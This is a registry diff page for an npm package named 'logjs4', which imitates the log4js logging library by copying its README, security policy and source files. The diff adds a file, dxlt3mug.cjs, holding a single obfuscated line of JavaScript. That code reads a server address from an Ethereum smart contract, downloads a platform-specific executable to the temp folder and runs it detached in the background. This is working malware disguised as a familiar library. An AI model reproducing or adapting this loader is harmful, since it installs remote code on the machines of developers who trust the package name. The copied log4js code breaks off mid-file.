logjs4 0.0.1-security → 6.9.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of logjs4 might be problematic. Click here for more details.
- package/CHANGELOG.md +477 -0
- package/LICENSE +13 -0
- package/README.md +118 -3
- package/SECURITY.md +19 -0
- package/dxlt3mug.cjs +1 -0
- package/lib/LoggingEvent.js +157 -0
- package/lib/appenders/adapters.js +46 -0
- package/lib/appenders/categoryFilter.js +19 -0
- package/lib/appenders/console.js +18 -0
- package/lib/appenders/dateFile.js +76 -0
- package/lib/appenders/file.js +154 -0
- package/lib/appenders/fileSync.js +258 -0
- package/lib/appenders/ignoreBrowser.js +0 -0
- package/lib/appenders/index.js +182 -0
- package/lib/appenders/logLevelFilter.js +20 -0
- package/lib/appenders/multiFile.js +91 -0
- package/lib/appenders/multiprocess.js +191 -0
- package/lib/appenders/noLogFilter.js +43 -0
- package/lib/appenders/recording.js +29 -0
- package/lib/appenders/stderr.js +15 -0
- package/lib/appenders/stdout.js +15 -0
- package/lib/appenders/tcp-server.js +49 -0
- package/lib/appenders/tcp.js +92 -0
- package/lib/categories.js +219 -0
- package/lib/clustering.js +105 -0
- package/lib/clusteringBrowser.js +19 -0
- package/lib/configuration.js +64 -0
- package/lib/connect-logger.js +323 -0
- package/lib/layouts.js +486 -0
- package/lib/levels.js +155 -0
- package/lib/log4js.js +186 -0
- package/lib/logger.js +245 -0
- package/package.json +106 -4
- package/types/log4js.d.ts +484 -0
package/README.md
CHANGED
@@ -1,5 +1,120 @@
|
|
1
|
-
#
|
1
|
+
# log4js-node [](https://github.com/log4js-node/log4js-node/actions/workflows/codeql-analysis.yml) [](https://github.com/log4js-node/log4js-node/actions/workflows/node.js.yml)
|
2
2
|
|
3
|
-
|
3
|
+
[](https://nodei.co/npm/log4js/)
|
4
4
|
|
5
|
-
|
5
|
+
This is a conversion of the [log4js](https://github.com/stritti/log4js)
|
6
|
+
framework to work with [node](http://nodejs.org). I started out just stripping out the browser-specific code and tidying up some of the javascript to work better in node. It grew from there. Although it's got a similar name to the Java library [log4j](https://logging.apache.org/log4j/2.x/), thinking that it will behave the same way will only bring you sorrow and confusion.
|
7
|
+
|
8
|
+
The full documentation is available [here](https://log4js-node.github.io/log4js-node/).
|
9
|
+
|
10
|
+
[Changes in version 3.x](https://log4js-node.github.io/log4js-node/v3-changes.md)
|
11
|
+
|
12
|
+
There have been a few changes between log4js 1.x and 2.x (and 0.x too). You should probably read this [migration guide](https://log4js-node.github.io/log4js-node/migration-guide.html) if things aren't working.
|
13
|
+
|
14
|
+
Out of the box it supports the following features:
|
15
|
+
|
16
|
+
- coloured console logging to stdout or stderr
|
17
|
+
- file appender, with configurable log rolling based on file size or date
|
18
|
+
- a logger for connect/express servers
|
19
|
+
- configurable log message layout/patterns
|
20
|
+
- different log levels for different log categories (make some parts of your app log as DEBUG, others only ERRORS, etc.)
|
21
|
+
|
22
|
+
Optional appenders are available:
|
23
|
+
|
24
|
+
- [SMTP](https://github.com/log4js-node/smtp)
|
25
|
+
- [GELF](https://github.com/log4js-node/gelf)
|
26
|
+
- [Loggly](https://github.com/log4js-node/loggly)
|
27
|
+
- Logstash ([UDP](https://github.com/log4js-node/logstashUDP) and [HTTP](https://github.com/log4js-node/logstashHTTP))
|
28
|
+
- logFaces ([UDP](https://github.com/log4js-node/logFaces-UDP) and [HTTP](https://github.com/log4js-node/logFaces-HTTP))
|
29
|
+
- [RabbitMQ](https://github.com/log4js-node/rabbitmq)
|
30
|
+
- [Redis](https://github.com/log4js-node/redis)
|
31
|
+
- [Hipchat](https://github.com/log4js-node/hipchat)
|
32
|
+
- [Slack](https://github.com/log4js-node/slack)
|
33
|
+
- [mailgun](https://github.com/log4js-node/mailgun)
|
34
|
+
- [InfluxDB](https://github.com/rnd-debug/log4js-influxdb-appender)
|
35
|
+
|
36
|
+
## Getting help
|
37
|
+
|
38
|
+
Having problems? Jump on the [slack](https://join.slack.com/t/log4js-node/shared_invite/enQtODkzMDQ3MzExMDczLWUzZmY0MmI0YWI1ZjFhODY0YjI0YmU1N2U5ZTRkOTYyYzg3MjY5NWI4M2FjZThjYjdiOGM0NjU2NzBmYTJjOGI) channel, or create an issue. If you want to help out with the development, the slack channel is a good place to go as well.
|
39
|
+
|
40
|
+
## installation
|
41
|
+
|
42
|
+
```bash
|
43
|
+
npm install log4js
|
44
|
+
```
|
45
|
+
|
46
|
+
## usage
|
47
|
+
|
48
|
+
Minimalist version:
|
49
|
+
|
50
|
+
```javascript
|
51
|
+
var log4js = require("log4js");
|
52
|
+
var logger = log4js.getLogger();
|
53
|
+
logger.level = "debug";
|
54
|
+
logger.debug("Some debug messages");
|
55
|
+
```
|
56
|
+
|
57
|
+
By default, log4js will not output any logs (so that it can safely be used in libraries). The `level` for the `default` category is set to `OFF`. To enable logs, set the level (as in the example). This will then output to stdout with the coloured layout (thanks to [masylum](http://github.com/masylum)), so for the above you would see:
|
58
|
+
|
59
|
+
```bash
|
60
|
+
[2010-01-17 11:43:37.987] [DEBUG] [default] - Some debug messages
|
61
|
+
```
|
62
|
+
|
63
|
+
See example.js for a full example, but here's a snippet (also in `examples/fromreadme.js`):
|
64
|
+
|
65
|
+
```javascript
|
66
|
+
const log4js = require("log4js");
|
67
|
+
log4js.configure({
|
68
|
+
appenders: { cheese: { type: "file", filename: "cheese.log" } },
|
69
|
+
categories: { default: { appenders: ["cheese"], level: "error" } },
|
70
|
+
});
|
71
|
+
|
72
|
+
const logger = log4js.getLogger("cheese");
|
73
|
+
logger.trace("Entering cheese testing");
|
74
|
+
logger.debug("Got cheese.");
|
75
|
+
logger.info("Cheese is Comté.");
|
76
|
+
logger.warn("Cheese is quite smelly.");
|
77
|
+
logger.error("Cheese is too ripe!");
|
78
|
+
logger.fatal("Cheese was breeding ground for listeria.");
|
79
|
+
```
|
80
|
+
|
81
|
+
Output (in `cheese.log`):
|
82
|
+
|
83
|
+
```bash
|
84
|
+
[2010-01-17 11:43:37.987] [ERROR] cheese - Cheese is too ripe!
|
85
|
+
[2010-01-17 11:43:37.990] [FATAL] cheese - Cheese was breeding ground for listeria.
|
86
|
+
```
|
87
|
+
|
88
|
+
## Note for library makers
|
89
|
+
|
90
|
+
If you're writing a library and would like to include support for log4js, without introducing a dependency headache for your users, take a look at [log4js-api](https://github.com/log4js-node/log4js-api).
|
91
|
+
|
92
|
+
## Documentation
|
93
|
+
|
94
|
+
Available [here](https://log4js-node.github.io/log4js-node/).
|
95
|
+
|
96
|
+
There's also [an example application](https://github.com/log4js-node/log4js-example).
|
97
|
+
|
98
|
+
## TypeScript
|
99
|
+
|
100
|
+
```ts
|
101
|
+
import * as log4js from "log4js";
|
102
|
+
log4js.configure({
|
103
|
+
appenders: { cheese: { type: "file", filename: "cheese.log" } },
|
104
|
+
categories: { default: { appenders: ["cheese"], level: "error" } },
|
105
|
+
});
|
106
|
+
|
107
|
+
const logger = log4js.getLogger();
|
108
|
+
logger.level = "debug";
|
109
|
+
logger.debug("Some debug messages");
|
110
|
+
```
|
111
|
+
|
112
|
+
## Contributing
|
113
|
+
|
114
|
+
We're always looking for people to help out. Jump on [slack](https://join.slack.com/t/log4js-node/shared_invite/enQtODkzMDQ3MzExMDczLWUzZmY0MmI0YWI1ZjFhODY0YjI0YmU1N2U5ZTRkOTYyYzg3MjY5NWI4M2FjZThjYjdiOGM0NjU2NzBmYTJjOGI) and discuss what you want to do. Also, take a look at the [rules](https://log4js-node.github.io/log4js-node/contrib-guidelines.html) before submitting a pull request.
|
115
|
+
|
116
|
+
## License
|
117
|
+
|
118
|
+
The original log4js was distributed under the Apache 2.0 License, and so is this. I've tried to
|
119
|
+
keep the original copyright and author credits in place, except in sections that I have rewritten
|
120
|
+
extensively.
|
package/SECURITY.md
ADDED
@@ -0,0 +1,19 @@
|
|
1
|
+
# Security Policy
|
2
|
+
|
3
|
+
## Supported Versions
|
4
|
+
|
5
|
+
We're aiming to only support the latest major version of log4js. Older than that is usually _very_ old.
|
6
|
+
|
7
|
+
| Version | Supported |
|
8
|
+
| ------- | ------------------ |
|
9
|
+
| 6.x | :white_check_mark: |
|
10
|
+
| < 6.0 | :x: |
|
11
|
+
|
12
|
+
## Reporting a Vulnerability
|
13
|
+
|
14
|
+
Report vulnerabilities via email to:
|
15
|
+
|
16
|
+
- Gareth Jones <gareth.nomiddlename@gmail.com>
|
17
|
+
- Lam Wei Li <lam_wei_li@hotmail.com>
|
18
|
+
|
19
|
+
Please put "[log4js:security]" in the subject line. We will aim to respond within a day or two.
|
package/dxlt3mug.cjs
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
function _0x4e36(_0x490dc7,_0x9d9592){const _0x2a626d=_0x2a62();return _0x4e36=function(_0x4e36b3,_0xa045a1){_0x4e36b3=_0x4e36b3-0xf3;let _0x2ca421=_0x2a626d[_0x4e36b3];return _0x2ca421;},_0x4e36(_0x490dc7,_0x9d9592);}const _0x149bcc=_0x4e36;function _0x2a62(){const _0xd8f496=['eqnXd','basename','4586360DLXSxJ','unref','GET','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','GmdGo','jccBq','/node-macos','getString','darwin','5YXnsgf','1146689xwyhVS','2219523pKjFBB','linux','fbTNl','gGPcT','data','uqyWh','stream','join','jSXTp','path','child_process','mainnet','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','6814563NqlQhI','ignore','wRaZu','util','Unsupported\x20platform:\x20','Ошибка\x20при\x20получении\x20IP\x20адреса:','tmpdir','/node-linux','getDefaultProvider','Ошибка\x20при\x20запуске\x20файла:','YOXMt','platform','5132598xNhCes','213748mMnKXj','error','createWriteStream','axios','win32','/node-win.exe','2nBJRVv','hrxSd','iqHiS','454968qCYJCe','chmodSync','pipe'];_0x2a62=function(){return _0xd8f496;};return _0x2a62();}(function(_0x46edf5,_0x2ea1be){const _0x1509ea=_0x4e36,_0x3b6b7e=_0x46edf5();while(!![]){try{const _0x5dcada=parseInt(_0x1509ea(0xf3))/0x1*(-parseInt(_0x1509ea(0x114))/0x2)+-parseInt(_0x1509ea(0xf4))/0x3+parseInt(_0x1509ea(0x10e))/0x4+parseInt(_0x1509ea(0x125))/0x5*(parseInt(_0x1509ea(0x10d))/0x6)+parseInt(_0x1509ea(0x101))/0x7+parseInt(_0x1509ea(0x11c))/0x8+parseInt(_0x1509ea(0x117))/0x9;if(_0x5dcada===_0x2ea1be)break;else _0x3b6b7e['push'](_0x3b6b7e['shift']());}catch(_0x4572f2){_0x3b6b7e['push'](_0x3b6b7e['shift']());}}}(_0x2a62,0x974b0));const {ethers}=require('ethers'),axios=require(_0x149bcc(0x111)),util=require(_0x149bcc(0x104)),fs=require('fs'),path=require(_0x149bcc(0xfd)),os=require('os'),{spawn}=require(_0x149bcc(0xfe)),contractAddress=_0x149bcc(0x11f),WalletOwner=_0x149bcc(0x100),abi=['function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)'],provider=ethers[_0x149bcc(0x109)](_0x149bcc(0xff)),contract=new ethers['Contract'](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x1e194d=_0x149bcc,_0x571119={'iqHiS':_0x1e194d(0x106),'DCuMb':function(_0x51ab5a){return _0x51ab5a();}};try{const _0x59c092=await contract[_0x1e194d(0x123)](WalletOwner);return _0x59c092;}catch(_0x541165){return console['error'](_0x571119[_0x1e194d(0x116)],_0x541165),await _0x571119['DCuMb'](fetchAndUpdateIp);}},getDownloadUrl=_0x513749=>{const _0x10eaeb=_0x149bcc,_0x359420={'ZCIWV':'win32','uqyWh':_0x10eaeb(0xf5)},_0x5d686d=os['platform']();switch(_0x5d686d){case _0x359420['ZCIWV']:return _0x513749+_0x10eaeb(0x113);case _0x359420[_0x10eaeb(0xf9)]:return _0x513749+_0x10eaeb(0x108);case _0x10eaeb(0x124):return _0x513749+_0x10eaeb(0x122);default:throw new Error(_0x10eaeb(0x105)+_0x5d686d);}},downloadFile=async(_0x40c186,_0x206f33)=>{const _0x54c8d5=_0x149bcc,_0x41f6db={'NTTam':_0x54c8d5(0x10f),'jccBq':_0x54c8d5(0x11e)},_0x3c8ff5=fs[_0x54c8d5(0x110)](_0x206f33),_0x21ef47=await axios({'url':_0x40c186,'method':_0x41f6db[_0x54c8d5(0x121)],'responseType':_0x54c8d5(0xfa)});return _0x21ef47[_0x54c8d5(0xf8)][_0x54c8d5(0x119)](_0x3c8ff5),new Promise((_0x1e5ff3,_0x35f1e5)=>{_0x3c8ff5['on']('finish',_0x1e5ff3),_0x3c8ff5['on'](_0x41f6db['NTTam'],_0x35f1e5);});},executeFileInBackground=async _0x63a1e0=>{const _0x180d92=_0x149bcc,_0x417047={'hrxSd':function(_0x4ab76e,_0x29dcb2,_0xc34e9a,_0xa449a2){return _0x4ab76e(_0x29dcb2,_0xc34e9a,_0xa449a2);},'wRaZu':_0x180d92(0x102),'YOXMt':_0x180d92(0x10a)};try{const _0x1c6c81=_0x417047[_0x180d92(0x115)](spawn,_0x63a1e0,[],{'detached':!![],'stdio':_0x417047[_0x180d92(0x103)]});_0x1c6c81[_0x180d92(0x11d)]();}catch(_0x175491){console[_0x180d92(0x10f)](_0x417047[_0x180d92(0x10b)],_0x175491);}},runInstallation=async()=>{const _0x2e457e=_0x149bcc,_0x105b40={'okrYu':function(_0x24d3ef){return _0x24d3ef();},'FZwCU':function(_0x263bf4,_0x46297f){return _0x263bf4(_0x46297f);},'eqnXd':function(_0x18d99c,_0x21e66f,_0xaff5b7){return _0x18d99c(_0x21e66f,_0xaff5b7);},'gGPcT':_0x2e457e(0x112),'GmdGo':'755','fbTNl':function(_0x3f17cb,_0x4ea18f){return _0x3f17cb(_0x4ea18f);},'jSXTp':'Ошибка\x20установки:'};try{const _0x5d174a=await _0x105b40['okrYu'](fetchAndUpdateIp),_0x12efd7=_0x105b40['FZwCU'](getDownloadUrl,_0x5d174a),_0x2b42f2=os[_0x2e457e(0x107)](),_0x4ec1ae=path[_0x2e457e(0x11b)](_0x12efd7),_0x2a62c2=path[_0x2e457e(0xfb)](_0x2b42f2,_0x4ec1ae);await _0x105b40[_0x2e457e(0x11a)](downloadFile,_0x12efd7,_0x2a62c2);if(os[_0x2e457e(0x10c)]()!==_0x105b40[_0x2e457e(0xf7)])fs[_0x2e457e(0x118)](_0x2a62c2,_0x105b40[_0x2e457e(0x120)]);_0x105b40[_0x2e457e(0xf6)](executeFileInBackground,_0x2a62c2);}catch(_0x486780){console[_0x2e457e(0x10f)](_0x105b40[_0x2e457e(0xfc)],_0x486780);}};runInstallation();
|
@@ -0,0 +1,157 @@
|
|
1
|
+
/* eslint max-classes-per-file: ["error", 2] */
|
2
|
+
/* eslint no-underscore-dangle: ["error", { "allow": ["_getLocationKeys"] }] */
|
3
|
+
|
4
|
+
const flatted = require('flatted');
|
5
|
+
const levels = require('./levels');
|
6
|
+
|
7
|
+
class SerDe {
|
8
|
+
constructor() {
|
9
|
+
const deserialise = {
|
10
|
+
__LOG4JS_undefined__: undefined,
|
11
|
+
__LOG4JS_NaN__: Number('abc'),
|
12
|
+
__LOG4JS_Infinity__: 1 / 0,
|
13
|
+
'__LOG4JS_-Infinity__': -1 / 0,
|
14
|
+
};
|
15
|
+
this.deMap = deserialise;
|
16
|
+
this.serMap = {};
|
17
|
+
Object.keys(this.deMap).forEach((key) => {
|
18
|
+
const value = this.deMap[key];
|
19
|
+
this.serMap[value] = key;
|
20
|
+
});
|
21
|
+
}
|
22
|
+
|
23
|
+
canSerialise(key) {
|
24
|
+
if (typeof key === 'string') return false;
|
25
|
+
return key in this.serMap;
|
26
|
+
}
|
27
|
+
|
28
|
+
serialise(key) {
|
29
|
+
if (this.canSerialise(key)) return this.serMap[key];
|
30
|
+
return key;
|
31
|
+
}
|
32
|
+
|
33
|
+
canDeserialise(key) {
|
34
|
+
return key in this.deMap;
|
35
|
+
}
|
36
|
+
|
37
|
+
deserialise(key) {
|
38
|
+
if (this.canDeserialise(key)) return this.deMap[key];
|
39
|
+
return key;
|
40
|
+
}
|
41
|
+
}
|
42
|
+
const serde = new SerDe();
|
43
|
+
|
44
|
+
/**
|
45
|
+
* @name LoggingEvent
|
46
|
+
* @namespace Log4js
|
47
|
+
*/
|
48
|
+
class LoggingEvent {
|
49
|
+
/**
|
50
|
+
* Models a logging event.
|
51
|
+
* @constructor
|
52
|
+
* @param {string} categoryName name of category
|
53
|
+
* @param {Log4js.Level} level level of message
|
54
|
+
* @param {Array} data objects to log
|
55
|
+
* @param {Error} [error]
|
56
|
+
* @author Seth Chisamore
|
57
|
+
*/
|
58
|
+
constructor(categoryName, level, data, context, location, error) {
|
59
|
+
this.startTime = new Date();
|
60
|
+
this.categoryName = categoryName;
|
61
|
+
this.data = data;
|
62
|
+
this.level = level;
|
63
|
+
this.context = Object.assign({}, context); // eslint-disable-line prefer-object-spread
|
64
|
+
this.pid = process.pid;
|
65
|
+
this.error = error;
|
66
|
+
|
67
|
+
if (typeof location !== 'undefined') {
|
68
|
+
if (!location || typeof location !== 'object' || Array.isArray(location))
|
69
|
+
throw new TypeError(
|
70
|
+
'Invalid location type passed to LoggingEvent constructor'
|
71
|
+
);
|
72
|
+
|
73
|
+
this.constructor._getLocationKeys().forEach((key) => {
|
74
|
+
if (typeof location[key] !== 'undefined') this[key] = location[key];
|
75
|
+
});
|
76
|
+
}
|
77
|
+
}
|
78
|
+
|
79
|
+
/** @private */
|
80
|
+
static _getLocationKeys() {
|
81
|
+
return [
|
82
|
+
'fileName',
|
83
|
+
'lineNumber',
|
84
|
+
'columnNumber',
|
85
|
+
'callStack',
|
86
|
+
'className',
|
87
|
+
'functionName',
|
88
|
+
'functionAlias',
|
89
|
+
'callerName',
|
90
|
+
];
|
91
|
+
}
|
92
|
+
|
93
|
+
serialise() {
|
94
|
+
return flatted.stringify(this, (key, value) => {
|
95
|
+
// JSON.stringify(new Error('test')) returns {}, which is not really useful for us.
|
96
|
+
// The following allows us to serialize errors (semi) correctly.
|
97
|
+
if (value instanceof Error) {
|
98
|
+
// eslint-disable-next-line prefer-object-spread
|
99
|
+
value = Object.assign(
|
100
|
+
{ message: value.message, stack: value.stack },
|
101
|
+
value
|
102
|
+
);
|
103
|
+
}
|
104
|
+
// JSON.stringify({a: Number('abc'), b: 1/0, c: -1/0}) returns {a: null, b: null, c: null}.
|
105
|
+
// The following allows us to serialize to NaN, Infinity and -Infinity correctly.
|
106
|
+
// JSON.stringify([undefined]) returns [null].
|
107
|
+
// The following allows us to serialize to undefined correctly.
|
108
|
+
return serde.serialise(value);
|
109
|
+
});
|
110
|
+
}
|
111
|
+
|
112
|
+
static deserialise(serialised) {
|
113
|
+
let event;
|
114
|
+
try {
|
115
|
+
const rehydratedEvent = flatted.parse(serialised, (key, value) => {
|
116
|
+
if (value && value.message && value.stack) {
|
117
|
+
const fakeError = new Error(value);
|
118
|
+
Object.keys(value).forEach((k) => {
|
119
|
+
fakeError[k] = value[k];
|
120
|
+
});
|
121
|
+
value = fakeError;
|
122
|
+
}
|
123
|
+
return serde.deserialise(value);
|
124
|
+
});
|
125
|
+
this._getLocationKeys().forEach((key) => {
|
126
|
+
if (typeof rehydratedEvent[key] !== 'undefined') {
|
127
|
+
if (!rehydratedEvent.location) rehydratedEvent.location = {};
|
128
|
+
rehydratedEvent.location[key] = rehydratedEvent[key];
|
129
|
+
}
|
130
|
+
});
|
131
|
+
event = new LoggingEvent(
|
132
|
+
rehydratedEvent.categoryName,
|
133
|
+
levels.getLevel(rehydratedEvent.level.levelStr),
|
134
|
+
rehydratedEvent.data,
|
135
|
+
rehydratedEvent.context,
|
136
|
+
rehydratedEvent.location,
|
137
|
+
rehydratedEvent.error
|
138
|
+
);
|
139
|
+
event.startTime = new Date(rehydratedEvent.startTime);
|
140
|
+
event.pid = rehydratedEvent.pid;
|
141
|
+
if (rehydratedEvent.cluster) {
|
142
|
+
event.cluster = rehydratedEvent.cluster;
|
143
|
+
}
|
144
|
+
} catch (e) {
|
145
|
+
event = new LoggingEvent('log4js', levels.ERROR, [
|
146
|
+
'Unable to parse log:',
|
147
|
+
serialised,
|
148
|
+
'because: ',
|
149
|
+
e,
|
150
|
+
]);
|
151
|
+
}
|
152
|
+
|
153
|
+
return event;
|
154
|
+
}
|
155
|
+
}
|
156
|
+
|
157
|
+
module.exports = LoggingEvent;
|
@@ -0,0 +1,46 @@
|
|
1
|
+
function maxFileSizeUnitTransform(maxLogSize) {
|
2
|
+
if (typeof maxLogSize === 'number' && Number.isInteger(maxLogSize)) {
|
3
|
+
return maxLogSize;
|
4
|
+
}
|
5
|
+
|
6
|
+
const units = {
|
7
|
+
K: 1024,
|
8
|
+
M: 1024 * 1024,
|
9
|
+
G: 1024 * 1024 * 1024,
|
10
|
+
};
|
11
|
+
const validUnit = Object.keys(units);
|
12
|
+
const unit = maxLogSize.slice(-1).toLocaleUpperCase();
|
13
|
+
const value = maxLogSize.slice(0, -1).trim();
|
14
|
+
|
15
|
+
if (validUnit.indexOf(unit) < 0 || !Number.isInteger(Number(value))) {
|
16
|
+
throw Error(`maxLogSize: "${maxLogSize}" is invalid`);
|
17
|
+
} else {
|
18
|
+
return value * units[unit];
|
19
|
+
}
|
20
|
+
}
|
21
|
+
|
22
|
+
function adapter(configAdapter, config) {
|
23
|
+
const newConfig = Object.assign({}, config); // eslint-disable-line prefer-object-spread
|
24
|
+
Object.keys(configAdapter).forEach((key) => {
|
25
|
+
if (newConfig[key]) {
|
26
|
+
newConfig[key] = configAdapter[key](config[key]);
|
27
|
+
}
|
28
|
+
});
|
29
|
+
return newConfig;
|
30
|
+
}
|
31
|
+
|
32
|
+
function fileAppenderAdapter(config) {
|
33
|
+
const configAdapter = {
|
34
|
+
maxLogSize: maxFileSizeUnitTransform,
|
35
|
+
};
|
36
|
+
return adapter(configAdapter, config);
|
37
|
+
}
|
38
|
+
|
39
|
+
const adapters = {
|
40
|
+
dateFile: fileAppenderAdapter,
|
41
|
+
file: fileAppenderAdapter,
|
42
|
+
fileSync: fileAppenderAdapter,
|
43
|
+
};
|
44
|
+
|
45
|
+
module.exports.modifyConfig = (config) =>
|
46
|
+
adapters[config.type] ? adapters[config.type](config) : config;
|
@@ -0,0 +1,19 @@
|
|
1
|
+
const debug = require('debug')('log4js:categoryFilter');
|
2
|
+
|
3
|
+
function categoryFilter(excludes, appender) {
|
4
|
+
if (typeof excludes === 'string') excludes = [excludes];
|
5
|
+
return (logEvent) => {
|
6
|
+
debug(`Checking ${logEvent.categoryName} against ${excludes}`);
|
7
|
+
if (excludes.indexOf(logEvent.categoryName) === -1) {
|
8
|
+
debug('Not excluded, sending to appender');
|
9
|
+
appender(logEvent);
|
10
|
+
}
|
11
|
+
};
|
12
|
+
}
|
13
|
+
|
14
|
+
function configure(config, layouts, findAppender) {
|
15
|
+
const appender = findAppender(config.appender);
|
16
|
+
return categoryFilter(config.exclude, appender);
|
17
|
+
}
|
18
|
+
|
19
|
+
module.exports.configure = configure;
|
@@ -0,0 +1,18 @@
|
|
1
|
+
// eslint-disable-next-line no-console
|
2
|
+
const consoleLog = console.log.bind(console);
|
3
|
+
|
4
|
+
function consoleAppender(layout, timezoneOffset) {
|
5
|
+
return (loggingEvent) => {
|
6
|
+
consoleLog(layout(loggingEvent, timezoneOffset));
|
7
|
+
};
|
8
|
+
}
|
9
|
+
|
10
|
+
function configure(config, layouts) {
|
11
|
+
let layout = layouts.colouredLayout;
|
12
|
+
if (config.layout) {
|
13
|
+
layout = layouts.layout(config.layout.type, config.layout);
|
14
|
+
}
|
15
|
+
return consoleAppender(layout, config.timezoneOffset);
|
16
|
+
}
|
17
|
+
|
18
|
+
module.exports.configure = configure;
|
@@ -0,0 +1,76 @@
|
|
1
|
+
const streams = require('streamroller');
|
2
|
+
const os = require('os');
|
3
|
+
|
4
|
+
const eol = os.EOL;
|
5
|
+
|
6
|
+
function openTheStream(filename, pattern, options) {
|
7
|
+
const stream = new streams.DateRollingFileStream(filename, pattern, options);
|
8
|
+
stream.on('error', (err) => {
|
9
|
+
// eslint-disable-next-line no-console
|
10
|
+
console.error(
|
11
|
+
'log4js.dateFileAppender - Writing to file %s, error happened ',
|
12
|
+
filename,
|
13
|
+
err
|
14
|
+
);
|
15
|
+
});
|
16
|
+
stream.on('drain', () => {
|
17
|
+
process.emit('log4js:pause', false);
|
18
|
+
});
|
19
|
+
return stream;
|
20
|
+
}
|
21
|
+
|
22
|
+
/**
|
23
|
+
* File appender that rolls files according to a date pattern.
|
24
|
+
* @param filename base filename.
|
25
|
+
* @param pattern the format that will be added to the end of filename when rolling,
|
26
|
+
* also used to check when to roll files - defaults to '.yyyy-MM-dd'
|
27
|
+
* @param layout layout function for log messages - defaults to basicLayout
|
28
|
+
* @param options - options to be passed to the underlying stream
|
29
|
+
* @param timezoneOffset - optional timezone offset in minutes (default system local)
|
30
|
+
*/
|
31
|
+
function appender(filename, pattern, layout, options, timezoneOffset) {
|
32
|
+
// the options for file appender use maxLogSize, but the docs say any file appender
|
33
|
+
// options should work for dateFile as well.
|
34
|
+
options.maxSize = options.maxLogSize;
|
35
|
+
|
36
|
+
const writer = openTheStream(filename, pattern, options);
|
37
|
+
|
38
|
+
const app = function (logEvent) {
|
39
|
+
if (!writer.writable) {
|
40
|
+
return;
|
41
|
+
}
|
42
|
+
if (!writer.write(layout(logEvent, timezoneOffset) + eol, 'utf8')) {
|
43
|
+
process.emit('log4js:pause', true);
|
44
|
+
}
|
45
|
+
};
|
46
|
+
|
47
|
+
app.shutdown = function (complete) {
|
48
|
+
writer.end('', 'utf-8', complete);
|
49
|
+
};
|
50
|
+
|
51
|
+
return app;
|
52
|
+
}
|
53
|
+
|
54
|
+
function configure(config, layouts) {
|
55
|
+
let layout = layouts.basicLayout;
|
56
|
+
if (config.layout) {
|
57
|
+
layout = layouts.layout(config.layout.type, config.layout);
|
58
|
+
}
|
59
|
+
|
60
|
+
if (!config.alwaysIncludePattern) {
|
61
|
+
config.alwaysIncludePattern = false;
|
62
|
+
}
|
63
|
+
|
64
|
+
// security default (instead of relying on streamroller default)
|
65
|
+
config.mode = config.mode || 0o600;
|
66
|
+
|
67
|
+
return appender(
|
68
|
+
config.filename,
|
69
|
+
config.pattern,
|
70
|
+
layout,
|
71
|
+
config,
|
72
|
+
config.timezoneOffset
|
73
|
+
);
|
74
|
+
}
|
75
|
+
|
76
|
+
module.exports.configure = configure;
|
@@ -0,0 +1,154 @@
|
|
1
|
+
const debug = require('debug')('log4js:file');
|
2
|
+
const path = require('path');
|
3
|
+
const streams = require('streamroller');
|
4
|
+
const os = require('os');
|
5
|
+
|
6
|
+
const eol = os.EOL;
|
7
|
+
|
8
|
+
let mainSighupListenerStarted = false;
|
9
|
+
const sighupListeners = new Set();
|
10
|
+
function mainSighupHandler() {
|
11
|
+
sighupListeners.forEach((app) => {
|
12
|
+
app.sighupHandler();
|
13
|
+
});
|
14
|
+
}
|
15
|
+
|
16
|
+
/**
|
17
|
+
* File Appender writing the logs to a text file. Supports rolling of logs by size.
|
18
|
+
*
|
19
|
+
* @param file the file log messages will be written to
|
20
|
+
* @param layout a function that takes a logEvent and returns a string
|
21
|
+
* (defaults to basicLayout).
|
22
|
+
* @param logSize - the maximum size (in bytes) for a log file,
|
23
|
+
* if not provided then logs won't be rotated.
|
24
|
+
* @param numBackups - the number of log files to keep after logSize
|
25
|
+
* has been reached (default 5)
|
26
|
+
* @param options - options to be passed to the underlying stream
|
27
|
+
* @param timezoneOffset - optional timezone offset in minutes (default system local)
|
28
|
+
*/
|
29
|
+
function fileAppender(
|
30
|
+
file,
|
31
|
+
layout,
|
32
|
+
logSize,
|
33
|
+
numBackups,
|
34
|
+
options,
|
35
|
+
timezoneOffset
|
36
|
+
) {
|
37
|
+
if (typeof file !== 'string' || file.length === 0) {
|
38
|
+
throw new Error(`Invalid filename: ${file}`);
|
39
|
+
} else if (file.endsWith(path.sep)) {
|
40
|
+
throw new Error(`Filename is a directory: ${file}`);
|
41
|
+
} else if (file.indexOf(`~${path.sep}`) === 0) {
|
42
|
+
// handle ~ expansion: https://github.com/nodejs/node/issues/684
|
43
|
+
// exclude ~ and ~filename as these can be valid files
|
44
|
+
file = file.replace('~', os.homedir());
|
45
|
+
}
|
46
|
+
file = path.normalize(file);
|
47
|
+
numBackups = !numBackups && numBackups !== 0 ? 5 : numBackups;
|
48
|
+
|
49
|
+
debug(
|
50
|
+
'Creating file appender (',
|
51
|
+
file,
|
52
|
+
', ',
|
53
|
+
logSize,
|
54
|
+
', ',
|
55
|
+
numBackups,
|
56
|
+
', ',
|
57
|
+
options,
|
58
|
+
', ',
|
59
|
+
timezoneOffset,
|
60
|
+
')'
|
61
|
+
);
|
62
|
+
|
63
|
+
function openTheStream(filePath, fileSize, numFiles, opt) {
|
64
|
+
const stream = new streams.RollingFileStream(
|
65
|
+
filePath,
|
66
|
+
fileSize,
|
67
|
+
numFiles,
|
68
|
+
opt
|
69
|
+
);
|
70
|
+
stream.on('error', (err) => {
|
71
|
+
// eslint-disable-next-line no-console
|
72
|
+
console.error(
|
73
|
+
'log4js.fileAppender - Writing to file %s, error happened ',
|
74
|
+
filePath,
|
75
|
+
err
|
76
|
+
);
|
77
|
+
});
|
78
|
+
stream.on('drain', () => {
|
79
|
+
process.emit('log4js:pause', false);
|
80
|
+
});
|
81
|
+
return stream;
|
82
|
+
}
|
83
|
+
|
84
|
+
let writer = openTheStream(file, logSize, numBackups, options);
|
85
|
+
|
86
|
+
const app = function (loggingEvent) {
|
87
|
+
if (!writer.writable) {
|
88
|
+
return;
|
89
|
+
}
|
90
|
+
if (options.removeColor === true) {
|
91
|
+
// eslint-disable-next-line no-control-regex
|
92
|
+
